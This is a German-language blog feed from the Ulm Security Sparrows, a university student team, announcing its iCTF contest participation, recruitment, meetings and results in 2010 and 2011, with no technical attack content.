<p><a href="http://mweissbacher.com/blog/2011/12/20/ictf-2011-challenge-15-writeup">Michael @ UCSB SecLab</a> (iCTF 2011 challenge 15 writeup)</p>
Leider 2011 nur ein Platz in den hinteren Rängen2011-12-07T00:00:00+00:00/2011/12/leider-2011-nur-ein-platz-in-den-hinteren-rangen<p>Wir hatten zwar enormen Erfolg, was die Lösung der Side-Challenges angeht, auf der anderen Seite aber große Schwierigkeiten, die Dienste die auf unserem Image liefen zu durchschauen und die Schwachstellen herauszufinden. Schlussendlich hat es dann leider nur für den 54 Platz (von 87 Teams) gereicht.</p>
<p>Trotzdem hatten wir einen aufregenden Abend und alle aus unserem Team waren mit Spaß und vollem Einsatz dabei.</p>
<p>Gewonnen hat das Team “We_0wn_Y0u” des <a href="http://seclab.tuwien.ac.at/">Seclab der TU Wien</a>, von unserer Seite auch herzlichen Glückwunsch!</p>
Auch 2011 sind wir wieder dabei2011-11-29T00:00:00+00:00/2011/11/auch-2010-sind-wir-wieder-dabei<p>Am 2. Dezember 2011 ist es wieder soweit, auch einige Ulmer schlagen sich wieder den Abend von 17:00 - 2:00 Uhr vor dem Rechner um die Ohren.</p>
<p>Wir haben uns erfolgreich beim diesjährigen iCTF registriert und die Vorbereitungen laufen auf Hochtouren.</p>
<p>Nach ein paar Problemen mit dem Netzwerksetup sind wir <a href="https://ictf.cs.ucsb.edu/ictf11/participants.html">online</a>, es sind auch dieses Jahr wieder jede Menge Teams mit dabei.</p>
<p>Das Spielkonzept wurde wieder etwas überarbeitet. Nachdem es 2008-2010 keine wirklichen Images zum verteidigen gab, sollen wir diesmal tatsächlich eine VM hosten und die Schwachstellen bei anderen Teilnehmern ausnutzen. Zumindest lässt das die <a href="http://ictf.cs.ucsb.edu/iCTF_2011_Description.txt">Spielbeschreibung</a> für den diesjährigen Wettbewerb erahnen. Die Regeln werden zwar laufend noch mal angepasst und per Mail über die Liste geschickt, aber spätestens Freitag sind dann alle Klarheiten beseitigt.</p>
Ulm Security Sparrows mit Platz 9 beim iCTF 20102010-12-05T00:00:00+00:00/2010/12/ulm-security-sparrows-mit-platz-9-beim-ictf-2010<p>Das iCTF 2010 ist mittlerweile vorbei. Mit einem neuen Spielkonzept war der Contest auch dieses Jahr wieder eine Herausforderung. Das Ulmer Team konnte mit dem 9. Platz erneut eine Position in den Top-10 erreichen, den ersten Platz belegte das Team der Carnegie Mellon University.</p>
<p>Das vollständige Scoreboard mit allen 72 teilnehmenden Teams findet sich unter <a href="http://ictf.cs.ucsb.edu/scoreboard/">http://ictf.cs.ucsb.edu/scoreboard/</a>.</p>
<p>Herzlichen Dank auch an die Firma <a href="http://www.it-sec.de">it.sec</a>, die uns die Pizza gesponsert hat.</p>
Nur noch ein paar Stunden2010-12-03T00:00:00+00:00/2010/12/nur-noch-ein-paar-stunden<p>In ein paar Stunden ist es soweit, dann gehen die Ulm Security Sparrows wieder beim größten Hacking Contest der Welt an den Start, welcher durch das <em><a href="http://cs.ucsb.edu/">Department of Computer Science</a></em> der <a href="http://www.ucsb.edu/">University of California in Santa Barbara</a> veranstaltet wird.</p>
<p>In diesem Jahr haben sich 70 Teams aus aller Welt angemeldet, was bedeutet, das ca 900 Personen heute Abend in die Tasten Ihrer Laptops Computer oder was auch immer vertieft sein werden.</p>
<p>So wie es im Moment aussieht wird jedes Team ein Image bekommen, welches von der UCSB bereitgestellt wird, auf dem sich Services befinden die an ein Botnetz angeschlossen sind. Genaueres sehen wir dann heute Abend. :)</p>
<p>Wir die USS wünschen allen Teilnehmenden Teams einen guten und fairen Contest.
Have Fun !!</p>
Nächstes Treffen2010-11-01T00:00:00+00:00/2010/11/nachstes-treffen<p>Eigentlich sollten alle Intressenten am iCTF heute eine email erhalten haben zwecks Abstimmung für ein Treffen in den kommenden Wochen. Solltet Ihr keine email erhalten haben, euch aber in die Liste aus der Vorlesung eingetragen haben,</p>
<ol>
<li>schaut einmal in eurem Spamordner nach,</li>
<li>nehmt einfach noch einmal Kontakt mit uns auf</li>
</ol>
Vorstellung im Rahmen der Vorlesung Sicherheit in IT-Systemen2010-10-27T00:00:00+00:00/2010/10/vorstellung-im-rahmen-der-vorlesung-sicherheit-in-it-systemen<p>Am 22.10.10 startete die Vorlesung <a href="http://www.uni-ulm.de/in/mi/lehre/2010ws/sicherheit-in-it-systemen.html">Sicherheit in IT-Systemen</a> und wir konnten das Ende nutzen um die USS einmal kurz vorzustellen. Im wesentlichen ging es darum wieso und weshalb wir uns zusammengeschlossen haben und um was es bei dem <a href="http://uss.informatik.uni-ulm.de/?page_id=7">iCTF</a> geht.</p>
<p>Bei mindestens acht Teilnehmern der Veranstaltung konnten wir Interesse wecken, und hoffen nun, dass Sie auch am iCTF 2010 teilnehmen werden.</p>
<p>Einen Termin zu einem Treffen der alten und der neuen Teammitglieder werden wir in Kürze bekanntgeben. Vielleicht hat ja der ein oder andere der sich noch nicht gemeldet hat auch Interesse dann einfach vorbeizuschauen.</p>
Termin für das iCTF 2010 steht fest2010-10-20T00:00:00+00:00/2010/10/termin-fur-das-ictf-2010-steht-fest<p>Wie ich gerade erfahren habe, findet der iCTF Contest dieses Jahr am Freitag den 03.12. statt. Wir hoffen nun, dass wir einige neue Teammitglieder finden können, um so unsere Chancen für einen guten Platz zu erhöhen, und somit wieder die Top Ten in Angriff nehmen können.</p>
Start der Webseite2010-10-14T00:00:00+00:00/2010/10/damit-hier-kein-no-found-auf-der-startseite-kommt<div>
Ja nun ist es endlich soweit, die Ulm Security Sparrows haben es nun geschafft eine Webpräsenz aufzubauen. Denn so wie es aussieht werden sie auch weiterhin an den iCTF Contests teilnehmen.
Da viele der bisherigen Teilnehmer bald neuen Herausforderungen nach der Uni nachgehen werden sind wir auf der Suche nach neuen Mitstreitern.
**Wer kann bei den Ulm Security Sparrows und am iCTF Contest teilnehmen?**
Eigentlich jeder, solange er Student an der Universität Ulm ist.
**Muss ich der Crack in einem Bereich sein?**
**Nein**, wie gesagt: jeder kann mitmachen, es gibt Problemstellungen aus verschiedensten Bereichen, für jeden ist etwas dabei. Also kommt vorbei oder nehmt [Kontakt](http://uss.informatik.uni-ulm.de/?page_id=91 "http://uss.informatik.uni-ulm.de/?page_id=91") mit uns auf.
</div>
<p> </p>